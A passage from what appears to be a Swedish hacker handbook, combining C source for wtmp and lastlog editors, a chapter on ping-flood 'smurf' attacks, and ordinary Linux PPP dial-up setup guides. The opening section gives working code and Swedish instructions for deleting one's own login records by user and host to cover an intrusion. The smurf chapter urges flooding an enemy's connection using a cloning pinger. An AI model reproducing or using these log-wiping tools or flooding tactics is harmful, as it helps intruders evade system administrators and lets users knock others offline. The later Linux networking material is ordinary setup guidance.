if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
|
||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
|
||
printinfo(ptr);
|
||
}
|
||
close(fp);
|
||
}
|
||
}
|
||
|
||
printinfo(ptr)
|
||
struct utmp *ptr;
|
||
{
|
||
char tmpstr[256];
|
||
printf("%s\t",ptr->ut_name);
|
||
printf("%s\t",ptr->ut_line);
|
||
strcpy(tmpstr,ctime(&(ptr->ut_time)));
|
||
tmpstr[strlen(tmpstr)-1]='\0';
|
||
printf("%s\t",tmpstr);
|
||
printf("%s\n",ptr->ut_host);
|
||
}
|
||
|
||
erase(name,host)
|
||
char *name,*host;
|
||
{
|
||
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
||
struct utmp utmp;
|
||
unsigned char c;
|
||
if (fp=open(file,O_RDONLY)) {
|
||
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
|
||
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
|
||
if (host)
|
||
if (strstr(utmp.ut_host,host)) tot++;
|
||
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
|
||
if (name) {
|
||
if (strcmp(utmp.ut_name,name)) {cnt++;
|
||
write(fd,&utmp,sizeof(struct utmp));}
|
||
else {
|
||
if (n>0) {
|
||
n--;cnt++;
|
||
write(fd,&utmp,sizeof(struct utmp));}
|
||
else
|
||
{
|
||
printinfo(&utmp);
|
||
printf("Erase entry (y/n/f(astforward))? ");
|
||
c='a';
|
||
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
|
||
if (c=='f') {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct utmp));
|
||
printf("Fast forward how many entries? ");
|
||
scanf("%d",&n);}
|
||
if (c=='n') {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct utmp));
|
||
}
|
||
if (c=='y') tot++;
|
||
}
|
||
} }
|
||
|
||
}
|
||
close(fp);
|
||
close(fd);
|
||
}
|
||
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
||
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
|
||
}
|
||
|
||
remnull(name)
|
||
char *name;
|
||
{
|
||
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
||
struct utmp utmp;
|
||
if (fp=open(file,O_RDONLY)) {
|
||
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
|
||
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
|
||
if (utmp.ut_time) {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct utmp));
|
||
}
|
||
else
|
||
tot++;
|
||
}
|
||
close(fp);
|
||
close(fd);
|
||
}
|
||
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
||
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
|
||
}
|
||
|
||
usage()
|
||
{
|
||
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
|
||
printf("\t-h\tThis help\n");
|
||
printf("\t-f\tUse FILE instead of default\n");
|
||
printf("\t-a\tShow all entries found\n");
|
||
printf("\t-u\tShow all entries for USER\n");
|
||
printf("\t-b\tShow NULL entries\n");
|
||
printf("\t-e\tErase USER completely\n");
|
||
printf("\t-c\tErase all connections containing HOST\n");
|
||
printf("\t-z\tShow ZAP'd entries\n");
|
||
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
|
||
}
|
||
|
||
|
||
|
||
---------------------- klipp här
|
||
|
||
|
||
Du kanske också måste rensa upp i filen /vat/adm/lastlog
|
||
För att göra detta använder du programmet lled.c. Kompilera programmet och
|
||
döp om det till lled.
|
||
Här är menyn av kommandon för programmet när du skriver in kommandot ./lled :
|
||
|
||
[4:04am][/home/paris/compile]lled
|
||
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
|
||
-h This help
|
||
-f Use FILE instead of default
|
||
-a Show all entries found
|
||
-u Show all entries for USER
|
||
-b Show NULL entries
|
||
-e Erase USER completely
|
||
-c Erase all connections containing HOST
|
||
-z Show ZAP'd entries
|
||
-x Attempt to remove ZAP'd entries completely
|
||
|
||
Det vore bra att kolla genom att först använda –u , men många gånger kommer det inte att
|
||
visa ditt host. Men om du vet vad du letar efter kan du skriva (om du kommer från
|
||
macine.host.com):
|
||
|
||
lled –e username –c machine.host
|
||
|
||
Om du måste kolla lastlog så borde naturligtvis ditt hostname finnas längst ned.
|
||
Skriv bara: lled –a
|
||
|
||
chmod:a filen lastlog.tmp 664 och kopiera den till katalogen ett steg uppåt.
|
||
|
||
FÖRSÄKRA DIG OM ATT DU FIXAR SÖKVÄGEN TILL DIN LASTLOG NEDAN:
|
||
Ok; här är lastlog programmet:
|
||
|
||
-------------------------- klipp här
|
||
#include <stdio.h>
|
||
#include <time.h>
|
||
#include <lastlog.h>
|
||
#include <fcntl.h>
|
||
|
||
char *file="/var/adm/lastlog";
|
||
|
||
main(argc,argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
int i;
|
||
if (argc==1) usage();
|
||
for(i=1;i<argc;i++)
|
||
{
|
||
if(argv[i][0] == '-')
|
||
{
|
||
switch(argv[i][1])
|
||
{
|
||
case 'b': printents(""); break;
|
||
case 'z': printents("Z4p"); break;
|
||
case 'e': erase(argv[i+1]); break;
|
||
case 'c': erase(0,argv[i+1]); break;
|
||
case 'f': file=argv[i+1]; break;
|
||
case 'u': printents(argv[i+1]); break;
|
||
case 'a': printents("*"); break;
|
||
case 'x': remnull(argv[i+1]); break;
|
||
default:usage();
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
printents(name)
|
||
char *name;
|
||
{
|
||
struct lastlog utmp,*ptr;
|
||
int fp=-1;
|
||
ptr=&utmp;
|
||
if (fp=open(file,O_RDONLY))
|
||
{
|
||
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
|
||
{
|
||
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
|
||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
|
||
printinfo(ptr);
|
||
}
|
||
close(fp);
|
||
}
|
||
}
|
||
|
||
printinfo(ptr)
|
||
struct lastlog *ptr;
|
||
{
|
||
char tmpstr[256];
|
||
printf("%s\t",ptr->ll_line);
|
||
strcpy(tmpstr,ctime(&(ptr->ll_time)));
|
||
tmpstr[strlen(tmpstr)-1]='\0';
|
||
printf("%s\t",tmpstr);
|
||
printf("%s\n",ptr->ll_host);
|
||
}
|
||
|
||
erase(name,host)
|
||
char *name,*host;
|
||
{
|
||
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
||
struct lastlog utmp;
|
||
unsigned char c;
|
||
if (fp=open(file,O_RDONLY)) {
|
||
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
|
||
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
|
||
if (host)
|
||
if (strstr(utmp.ll_host,host)) tot++;
|
||
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
|
||
if (name) {
|
||
if (strcmp(utmp.ll_line,name)) {cnt++;
|
||
write(fd,&utmp,sizeof(struct lastlog));}
|
||
else {
|
||
if (n>0) {
|
||
n--;cnt++;
|
||
write(fd,&utmp,sizeof(struct lastlog));}
|
||
else
|
||
{
|
||
printinfo(&utmp);
|
||
printf("Erase entry (y/n/f(astforward))? ");
|
||
c='a';
|
||
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
|
||
if (c=='f') {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct lastlog));
|
||
printf("Fast forward how many entries? ");
|
||
scanf("%d",&n);}
|
||
if (c=='n') {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct lastlog));
|
||
}
|
||
if (c=='y') tot++;
|
||
}
|
||
} }
|
||
|
||
}
|
||
close(fp);
|
||
close(fd);
|
||
}
|
||
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
||
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
|
||
}
|
||
|
||
remnull(name)
|
||
char *name;
|
||
{
|
||
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
|
||
struct lastlog utmp;
|
||
if (fp=open(file,O_RDONLY)) {
|
||
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
|
||
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
|
||
if (utmp.ll_time) {
|
||
cnt++;
|
||
write(fd,&utmp,sizeof(struct lastlog));
|
||
}
|
||
else
|
||
tot++;
|
||
}
|
||
close(fp);
|
||
close(fd);
|
||
}
|
||
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
|
||
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
|
||
}
|
||
|
||
usage()
|
||
{
|
||
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
|
||
printf("\t-h\tThis help\n");
|
||
printf("\t-f\tUse FILE instead of default\n");
|
||
printf("\t-a\tShow all entries found\n");
|
||
printf("\t-u\tShow all entries for USER\n");
|
||
printf("\t-b\tShow NULL entries\n");
|
||
printf("\t-e\tErase USER completely\n");
|
||
printf("\t-c\tErase all connections containing HOST\n");
|
||
printf("\t-z\tShow ZAP'd entries\n");
|
||
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
|
||
}
|
||
---------------------------------------------------------------- klipp här
|
||
|
||
|
||
|
||
|
||
Kapitel 5: Smurf Attacks
|
||
|
||
Har du någonsin hört talas om de så kallade ”Smurf Attackerna” som folk använder för att få bort
|
||
sina ovänner från nätet?? – Jag vet att det känns lite lamt att ta upp det så här i tredje boken av HM,
|
||
men det har liksom inte kommit med tidigare. Och detta kan i många fall vara mer effektivt än nukes!
|
||
|
||
- Så. Vad är detta??
|
||
|
||
När du skickar en ping till någon så kommer ju alltid de paket du skickar tillbaka, så att du ser hur lång
|
||
tid det tog för förbindelsen att skicka och ta emot paketen… Så, vad jag får fram genom detta är att
|
||
paketen tar upp bandbredd för både din och den du pingar ´s anslutning! Vilket gör att ni båda hamnar
|
||
efter (”laggar”) och det går mycket långsammare att surfa mm..
|
||
Men om inte paketen skulle komma tillbaka så kunde du skicka paket mycket snabbare!
|
||
Då skulle ju också mottagarens anslutning bli ÄNNU sämre, kanske till och med kopplas ned!!
|
||
|
||
Så vad vi behöver är… Hmm,, ja, någonting som hindrar paketen att nå fram till vår egen dator.
|
||
Detta görs enkelt genom att använda en firewall! Ett firewall program kan du ladda hem lite här
|
||
och där på Internet. [ Det svenska ordet för firewall är ”Brandvägg”. ].
|
||
En Firewall filtrerar alltså inkommande information från nätet. Det kan vara nukar, pings, ICMP
|
||
grejor och annat. T.o.m. om någon försöker ansluta till din dator med Back Orifice, Evil FTP eller
|
||
NetBus etc.. Så varnar programmet och låter dig välja mellan att ignorera, acceptera eller blockera
|
||
anslutningen. Poängen är att inga paket kan återvända till din dator och att du på så sätt kan pinga
|
||
din ovän mycket snabbare. Ladda också ner en pinger som tillåter kloner!
|
||
Du kan då pinga någon med 65000 bytes gånger 10 !!! (10 kloner) vilket blir ”FETT_MYCKET”! ;-).
|
||
En bra sådan pinger är ”Fortune 2k” ( Final Fortune ).
|
||
|
||
|
||
|
||
Kapitel 6: Mera UNIX
|
||
|
||
Nu har du säkert suttit med Redhat Linux och pjåkat med X-Windows och en massa krafs,
|
||
Du har kanske hittat fönsterhanterare och skal mm.. Så jag tror att du vill få igång Internet nu.
|
||
Även om du inte har ett lika fint skal som Windows var för DOS, så kommer du nu få hjälp
|
||
med att koppla upp dig direkt från den mörka kod-skärmen.
|
||
Ni som har hittat en fin fönsterhanterare har nog redan hittat Internet uppkopplingen.
|
||
Följ med här nu bara!
|
||
|
||
Nätverk
|
||
|
||
I detta kapitel ska jag visa hur du konfigurerar nätverksfunktionerna i Linux.
|
||
Linux går att använda i många olika situationer och jag har hört talas om ett antal fall
|
||
där Linux nästan varit den enda lösningen att koppla ihop Windows-, Macintosh-, Novell-,
|
||
och Unix-baserade nätverk. I ”vanliga” operativsystem skulle du få betala tusan
|
||
för varje extra arkitektur.
|
||
|
||
Linux kan med hjälp av Samba-sviten vara server och klient till Windows-nätverk med
|
||
utdelade resurser och allt vad det kallas. Man kan dela filer och skrivare och det skall även
|
||
funka att använda Linux som domänserver som du kan logga in på precis som med NT.
|
||
Det finns liknande programsviter till Macintosh och Novell. Linux är ju ungefär Unix så det
|
||
mesta i den vägen fungerar också.
|
||
|
||
Nätverkskort
|
||
|
||
De flesta nätverkskort fungerar bra i Linux, det största problemet är förmodligen
|
||
de kort som går under Plug’n’Play-stämpeln. Speciellt ISA-korten är problematiska,
|
||
PCI är oftast inga större problem. Du får titta lite i dina BIOS-inställningar.
|
||
Ofta kan du välja att du inte har något PnP-operativsystem och att korten inte skall
|
||
nollställas vid omstart. Har du tur kan du stänga av PnP funktionen på kortet genom
|
||
något inställningsprogram på ”den medföljande disketten”.
|
||
|
||
Till ISA PnP-kort finns paketet isapnptools, men det är väldigt bökigt, både att konfigurera
|
||
programmen och att få det att fungera i verkligheten. Det är möjligt att det kommer PnP-stöd
|
||
till kärnan. Det har diskuterats ett tag om man över huvudtaget vill ha det, PnP är inte särskiljt
|
||
populärt inom Linuxvärlden, i alla fall inte bland halvreligiösa veteraner.
|
||
|
||
Om du ska köpa nätverkskort kan du titta i Ethernet-HOWTO och Hardware-HOWTO;
|
||
där står vilka kort som fungerar och vilka som inte gör det. Det finns många billiga modeller
|
||
som är NE2000-kompatibla. Om de är dåliga blir det problem. Dessa kort bör du inte sätta i
|
||
servrar eftersom de inte alltid håller speciellt bra men hur som helst har Linux bra NE2000-
|
||
drivrutiner. Men försök att se till så du kan aktivera PnP…
|
||
|
||
Konfiguration
|
||
|
||
När du installerade Linux hittade den kanske ditt nätverkskort och du skrev in IP adress,
|
||
värdnamn osv. Fungerar det som det ska så är det perfekt. Du kan titta på och ändra
|
||
inställningarna med programmet ifconfig, men du måste vara root när du vill ändra.
|
||
Här finner du en massa inställningar som jag tyvärr inte hinner gå igenom här och nu.
|
||
Testa ”man ifconfig”, ”whatis ifconfig” och ”what is ifconfig” för att få mer info.
|
||
|
||
Internetabonnemang
|
||
och Linux
|
||
|
||
Har du problem att få till din Linux-uppkoppling mot Internet? Läs i så fall vidare, ty här
|
||
finner du en scriptgenerator som ställer
|
||
några frågor om ditt Internet-konto och utifrån dina svar skapas sedan de script och filer som
|
||
behövs för uppkopplingen.
|
||
|
||
Programmet är testat mot Algonet, Tele2, Telenordia, Telia och Tripnet med gott resultat. Det
|
||
bör även fungera mot Calypso
|
||
och IBM.
|
||
|
||
|
||
|
||
Inledning
|
||
|
||
|
||
Många nya Linux-användare brukar ha problem med att koppla upp sig mot Internet. Detta
|
||
har flera orsaker. Viktigast är nog
|
||
att de flesta Internet-leverantörer inte sett det som någon viktig uppgift att ta fram korrekta
|
||
och lättbegripliga instruktioner för Linux, men också på att det faktiskt kan vara lite krångligt
|
||
att ordna. Detta dokument och tillhörande filer syftar till att reducera problemen till ett
|
||
minimum genom att till stor del automatisera installationen. För detta utnyttjas ett program
|
||
(pppinst.sh), som frågar efter Internetleverantör och de uppgifter som behövs för att ringa upp
|
||
(telefonnumret) och logga in på leverantörens server (användarnamn och lösenord). Därefter
|
||
skapas automatiskt de script och hjälpfiler som behövs för uppkopplingen.
|
||
|
||
De Internetleverantörer som installationsprogrammet f n bör kunna klara är Algonet, Calypso,
|
||
IBM, Tele2, Telenordia, Telia och Tripnet.
|
||
|
||
Installationsprogrammet skapar två script (ppp-on och ppp-off) som används vid upp- resp
|
||
nedkoppling till Internetleverantören. Programmet gör det möjligt att välja om man vill att
|
||
alla användare skall kunna koppla upp sig mot Internet eller inte - tänk dock på att detta att
|
||
låta alla användare att göra uppkopplingen innebär en säkerhetslucka som kanske inte spelar
|
||
någon roll i hemmet, men som absolut inte bör förekomma i system med många användare.
|
||
|
||
Många nya Linux-användare brukar ha problem med att koppla upp sig mot Internet. Detta
|
||
har flera orsaker. Viktigast är nog att de flesta Internet-leverantörer inte sett det som någon
|
||
viktig uppgift att ta fram korrekta och lättbegripliga instruktioner för Linux, men också på att
|
||
det faktiskt kan vara lite krångligt att ordna. Detta dokument och tillhörande filer syftar till att
|
||
reducera problemen till ett minimum genom att till stor del automatisera installationen. För
|
||
detta utnyttjas ett program (pppinst.sh), som frågar efter Internetleverantör och de uppgifter
|
||
som behövs för att ringa upp (telefonnumret) och logga in på leverantörens server
|
||
(användarnamn och lösenord). Därefter skapas automatiskt de script och hjälpfiler som
|
||
behövs för uppkopplingen. De Internetleverantörer som installationsprogrammet f n bör
|
||
kunna klara är Algonet, Calypso, IBM, Tele2, Telenordia, Telia
|
||
och Tripnet.
|
||
|
||
Installationsprogrammet skapar två script (ppp-on och ppp-off) som används vid upp- resp
|
||
nedkoppling till Internetleverantören. Programmet gör det möjligt att välja om man vill att
|
||
alla användare skall kunna koppla upp sig mot Internet eller inte - tänk dock på att detta att
|
||
låta alla användare att göra uppkopplingen innebär en säkerhetslucka som kanske inte spelar
|
||
någon roll i hemmet, men som absolut inte bör förekomma i system med många användare.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Förberedelser
|
||
|
||
Samla ihop de uppgifter du fått av Internetleverantören: telefonnummer, ditt
|
||
användarnamn (loginnamn) och lösenord, samt IP-adresserna till de namnservrar som
|
||
tillhandahålls. Tag reda på vilken serieport som ditt modem är anslutet till.
|
||
Hämta hem shellarkivet ppp.shar som innehåller alla nödvändiga filer. Ladda hem ppp.shar
|
||
|
||
Skapa en katalog dit du kopierar shellarkivet ppp.shar och placera dig i katalogen. Om
|
||
arkivet redan är i en lämplig katalog kan du strunta i kopieringen, men katalogen bör helst
|
||
vara tom, bl a därför att det i annat fall kan hända att vissa filer inte packas upp från arkivet,
|
||
ty detta är konstruerat så att inga redan existerande filer skrivs över. Packa upp shellarkivet
|
||
med kommandot sh ppp.shar
|
||
|
||
Installation
|
||
|
||
Installationen kräver att man är inloggad som root: Logga in som root om du inte redan är det!
|
||
|
||
Du skall av din leverantör ha fått IP-adresser till namnservrar (adresserna har formen
|
||
xxx.xxx.xxx.xxx, där xxx är ett tal 0-255).
|
||
Dessa skall fogas till filen /etc/resolv.conf. Detta kan du göra så här:
|
||
Flytta till katalogen /etc (med kommandot cd /etc)
|
||
Starta en editor för att redigera filen resolv.conf. (t ex pico resolv.conf)
|
||
Skriv in IP-adresserna för namnservrarna (1 per rad och stava rätt!), t ex nameserver
|
||
130.237.225.199
|
||
|
||
Kör programmet pppinst.sh genom att skriva
|
||
|
||
./pppinst.sh
|
||
|
||
och svara på frågorna (om inte redan modemet är installerat måste du veta vilken serieport
|
||
det är anslutet till, dessutom måste du veta namnet på din leverantör, telefonnumret till
|
||
leverantörens server, ditt loginnamn och ditt lösenord). Resten hanterar programmet.
|
||
|
||
När programmet avslutats bör allt vara klart för uppkoppling.
|
||
|
||
Testa uppkopplingen
|
||
|
||
Se till att modemet är påslaget och att modemkabeln sitter rätt. Logga så in som root och ge
|
||
kommandot
|
||
|
||
/usr/sbin/ppp-on &
|
||
|
||
OBS att du bör skriva hela filvägen så att du säkert vet att rätt ppp-on körs (det kan ju finnas
|
||
fler och det är inte säkert att katalogen /usr/sbin ingår i sökvägen).
|
||
|
||
Om det verkar som om förbindelsen upprättas kan du försöka köra något program mot
|
||
Internet (såsom ftp mot någon svensk ftp-server, t ex ftp.sunet.se). Om även detta går bra, så
|
||
har du en fungerande Internet-uppkoppling
|
||
|
||
För att avsluta uppkopplingen bör du sedan köra kommandot
|
||
|
||
/usr/sbin/ppp-off
|
||
|
||
Om du valde att även vanliga användare skall kunna göra uppkopplingen, dvs utan att vara
|
||
inloggad som root, bör du också logga in som vanlig användare och göra om testen. Om det
|
||
inte fungerar beror det förmodligen på att någon åtkomsträttighet är felaktig (se avsnittet om
|
||
fel nedan). Lägg dock märke till att i nuvarande skick kan bara root stänga av förbindelsen
|
||
(med ppp-off). Det finns lösningar på detta problem, men de är enligt min mening inte
|
||
speciellt bra, så jag har inte
|
||
implementerat detta än.
|
||
|
||
Trubbel - det fungerar inte!
|
||
Vanliga fel
|
||
|
||
Om modemet inte reagerar när du ger detta kommando (och om du skrev rätt), då är det
|
||
förmodligen antingen fel på modemet (kontrollera att det är påslaget och att modemkabeln
|
||
sitter rätt) eller så är fel serieport knuten till modemet.
|
||
|
||
Om det senare är fallet måste du först radera den gamla länken /dev/modem (med kommandot
|
||
rm /dev/modem), och därefter kan du antingen köra om programmet eller manuellt fixa det
|
||
(med kommandot ln -s /dev/cuaX/dev/modem där X är 0,1,2 eller 3 beroende på vilken
|
||
serieport modemet är kopplat till).
|
||
|
||
Om modemet ringer upp men det inte svarar ett modem i andra änden, då är förmodligen
|
||
telefonnumret felaktigt eller så fungerar inte servern för tillfället.
|
||
Om telefonnumret är korrekt (kontrollera filen /etc/ppp/provider), då kan det vara fel på
|
||
loginnamnet eller lösenordet (kontrollera samma fil och filen /etc/ppp/ppp-secrets) eller så
|
||
kan det vara fel i själva scriptet (skicka då ett brev till undertecknad med en felbeskrivning)
|
||
|
||
Om uppkopplingen fungerar med root men inga andra användare (och du vill att inte bara root
|
||
skall ha rätt att göra uppkopplingen), då är rättigheterna på ett eller flera av kommandona och
|
||
ev även på modem-enheten felaktiga. Du kan då antingen köra om programmet eller ändra
|
||
rättigheterna manuellt:
|
||
|
||
chmod 755 /usr/sbin/ppp-on /usr/sbin/ppp-off
|
||
chmod 666 /dev/cuaX
|
||
chmod 4755 /usr/sbin/pppd
|
||
|
||
Felsökning
|
||
|
||
Alla ppp-uppkopplingar loggas i filen /var/log/messages. Om något krånglar kan man alltså
|
||
där kontrollera vad som hänt. För att läsa filen kan du t ex ge kommandot:
|
||
less /var/log/messages
|
||
Bläddra dig fram till ppp-loggen med tryck på mellanslagstangenten eller använd
|
||
sökmöjligheten (skriv /ppp inne i less).
|
||
|
||
|
||
Anmärkningar
|
||
|
||
Detta är en ej färdigtestad programvara och innehåller sannolikt fel och kan säkert förbättras
|
||
på många olika sätt. För att det skall bli möjligt att rätta buggar och införa förbättringar krävs
|
||
dock att du som har synpunkter eller hittar fel meddelar undertecknad detta. Även du som
|
||
använt programmet med framgång bör skicka mig ett meddelande om detta (uppge din
|
||
leverantör), så att jag får bekräftelse på att det hela fungerar. Founder@lords.com
|
||
|
||
Good Luck!
|
||
|
||
Faktauppgifterna om de olika leverantörerna och grundscripten för själva uppkopplingen har
|
||
jag främst hämtat från FAQ för R20_LINUX - Linuxmötet i Svenska fidonet
|
||
Utan denna information skulle detta installationsprogram inte existerat.
|
||
|
||
|
||
(Sammanställd av Björn Lind*** Mars -98 -- uppdaterad hösten-98)
|
||
Uppkoppling till Swipnet (Tele2) med PPP.
|
||
|
||
I den här artikeln skall jag beskriva hur man tämligen smärtfritt får sin
|
||
uppkoppling till Tele2:s swipnet att fungera. Vi antar att din Linux-maskin
|
||
är en fristående dator och att du har modem och ett Internet-konto hos Tele2.
|
||
Dessa anvisningar fungerar också till Telia, men du får ange annan DNS =
|
||
namnserver, nämligen 10.0.0.1 och 10.0.0.2
|
||
|
||
Förberedelser
|
||
|
||
Kontrollera först att du har pppd installerat i kärnan och vilken version
|
||
av pppd du kör med kommandot:
|
||
$ /user/sbin/pppd version
|
||
Detta kommando är ett trick som ger ett felmeddelande men även versionsnumret.
|
||
Om du kör Redhat finns pppd installerat. Nästa steg är att kolla att kärnan stöder
|
||
ppp. Ge kommandot:
|
||
$ dmesg | grep -i ppp
|
||
Du skall få som svar:
|
||
PPP: version 2.2.0 (dynamic channel allocation)
|
||
PPP Dynamic channel allocation code copyright 1995 Caldera, Inc
|
||
PPP Line discipline registered
|
||
Om inte, kanske ppp är installerat som modul. Logga in som root och testa:
|
||
$ insmod ppp
|
||
Om detta misslyckas, måste du kompilera om kärnan för att få ppp-stöd. Läs i
|
||
/usr/src/linux/README hur du gör detta. När du konfigurerar kärnan skall du
|
||
svara ja på följande rader:
|
||
General setup --->
|
||
[*] Networking support
|
||
Network device support --->
|
||
[*] Network device support
|
||
<*> PPP (point-to-point) support
|
||
|
||
Dessa rader kan se annorlunda ut i icke-2.0 kärnor. När du har kryssat för dessa alternativ,
|
||
skall du kompilera den nya kärnan. Se /usr/src/linux/README.
|
||
Ok - då har du ppp-stöd installerat. Då är det dags se till att modemet finns på rätt port.
|
||
Ofta är musen installerad på com1 (cua0 i Linux) och då bör modemet vara kopplat till
|
||
com2 (cua1 i Linux). Skapa nu en symbolisk länk till modemet:
|
||
# cd /dev
|
||
# ln -sf /dev/cua1 /dev/modem
|
||
|
||
Minicom.
|
||
|
||
För att installera modemet på rätt port, kan vi använda programmet minicom.
|
||
Det är ett terminalprogram som man kan använda för att testa att modemet
|
||
fungerar som det ska. Du kan även logga in på Swipnet för att kontrollera hur
|
||
inloggningen ser ut. Detta är viktigt att känna till när man senare skall skriva ett
|
||
inloggningsscript.
|
||
|
||
Om du kör Linux Redhat version 4.0 eller senare, kan du starta Xwindows
|
||
och där installera modemet via "controlpanel", inloggad som root.
|
||
Kom ihåg com1=cua0 com2=cua1.
|
||
Ok - du står vid prompten och är inloggad som root. Skriv minicom –s
|
||
Då startar programmet minicom och du hamnar direkt i [configuration].
|
||
Välj alternativet "serial port setup". Första inställningen där är "Serial Device".
|
||
Det är den viktigaste inställningen - vilken port ditt modem är ansluten till.
|
||
|
||
Längst ner står det "Change which setting?" Tryck A och skriv sedan in - /dev/modem
|
||
Tryck sedan <enter> för att konfirmera din inställning. Tryck sedan <esc> för att
|
||
lämna inställningen. Bläddra ner till "Exit". Tryck <Enter>. Programmet kommer
|
||
att visa en ruta där det står "Initializing modem" och så småningom kommer
|
||
du fram till en skärmsida som ser ut som nedan:
|
||
|
||
Welcome to minicom 1.75.
|
||
|
||
Press CTRL-A Z for help on special keys
|
||
AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
|
||
OK
|
||
Nu är du klar att ringa upp med minicom. På raden under Ok, där cursorn står och
|
||
blinkar, skriver du in:
|
||
|
||
ATDTxxxxxxx (xxxxxx=telefonnumret till din Internetleverantör)
|
||
Nu skall modemet koppla upp direkt och du skall hamna vid en login-prompt.
|
||
|
||
Username: Här skriver du in ditt kontonamn (s-xxxxx).
|
||
Password: Här skriver du ditt lösenord.
|
||
Swipnet> Du är inloggad.
|
||
Du kan nu testa att skriva ? Du kommer att få en lista över de kommandon du kan
|
||
använda. Men det är inte så viktigt nu. Huvudsaken är att du kopplades upp och
|
||
att du hamnade vid login-prompten.
|
||
Avsluta nu med quit och återgå till din maskin. För att avsluta minicom, trycker du
|
||
CTRL+A>, sedan <Z>. Då skall du få en meny där du kan välja olika alternativ.
|
||
Välj X - dvs avsluta minicom.
|
||
Du har nu kommit en bra bit på väg, att få en uppkoppling mot Internet att fungera.
|
||
Om det ovanstående inte fungerar, är du tvungen att kontrollera att ditt modem sitter i
|
||
rätt port och att initieringssträngen funkar med ditt modem. Om du har en manual för
|
||
modemet, bör du kontrollera där hur initsträngen skall se ut. Defaultsträngen bör fungera
|
||
som den är, men man vet aldrig. Förhoppningsvis kopplade modemet ner på rätt sätt.
|
||
Skulle inte detta vara fallet, kan du skriva ps vid prompten. Du får då en förteckning
|
||
över de processer som är aktiva. Där skall du kunna se vilken process som används av
|
||
minicom - om den fortfarande är aktiv. Skriv då kill och numret på processen så skall
|
||
modemet koppla ner.
|
||
|
||
Konfigurera PPP
|
||
|
||
PPPd-programmet kan acceptera parametrar från två ställen. Dels direkt vid prompten,
|
||
dels via en "options"-fil. Att skriva parametrarna vid prompten, kan vara bökigt, så jag
|
||
visar hur man skriver en options-fil. Normala stället för filen är:
|
||
/etc/ppp/options
|
||
|
||
Detta är en enkel textfil som innehåller de parametrar som pppd använder vid
|
||
uppkopplingen. Denna fil måste vara läsbar för alla som skall köra pppd-programmet.
|
||
För det mesta är det root. Om du inte har ett /etc/ppp-bibliotek, skapar du ett sådant
|
||
(inloggad som root):
|
||
# mkdir /etc/ppp
|
||
# chown root:root /etc/ppp
|
||
# chmod 755 /etc/ppp
|
||
|
||
Skapa en /etc/ppp/options -fil med vi, eller den editor som du föredrar. Denna fil skall inne-
|
||
hålla parametrar som tex modemhastighet, port som modemet är anslutet till, vilket script
|
||
som handhar inloggningen och att du får ett IP-nummer tilldelat dynamiskt av din
|
||
Internetleverantör – i det här fallet Tele2. Skriv in följande rader:
|
||
debug
|
||
/dev/cua1
|
||
115200
|
||
modem
|
||
crtscts
|
||
lock
|
||
connect /etc/ppp/net-connect
|
||
asyncmap 0
|
||
defaultroute
|
||
:
|
||
Detta betyder:
|
||
1. Du vill att ppp skall ge dig information när det körs
|
||
2. Ditt modem är kopplat till com2 (dos) eller cua1
|
||
3. Modem-hastigheten är 115200
|
||
4. Du vill lyssna på Data Carrier Detect- signalen
|
||
5. Du vill använda "nomal" handskakning (RTS/CTS)
|
||
6. Du använder lock - prioritering för modemet över andra program
|
||
7. Ditt uppringningsprogram är /etc/ppp/net-connect
|
||
8. Du använder 8-bitars uppkoppling
|
||
9. Defaultroute skall användas
|
||
10. Din internetleverantör tilldelar dig ett IP-nummer (dynamiskt tilldelat IP)
|
||
Detta script är tämligen ordinärt för en ppp-uppkoppling mot en ISP (Internet Service
|
||
Provider) som tilldelar dig ett IP-nummer varje gång du kopplar upp.(Dynamiskt tilldelat IP-
|
||
nummer dvs du får ett nytt IP-nummer vid varje tillfälle du kopplas upp. Alternativet är fast
|
||
IP-nummer - dock inte så vanligt).
|
||
Ok - då kör vi vidare. Du skall nu skapa en fil kallad net-connect som pekar mot ett script
|
||
som kallas chat.
|
||
|
||
Skapa filen med:
|
||
|
||
# cd /etc/ppp
|
||
# vi net-connect
|
||
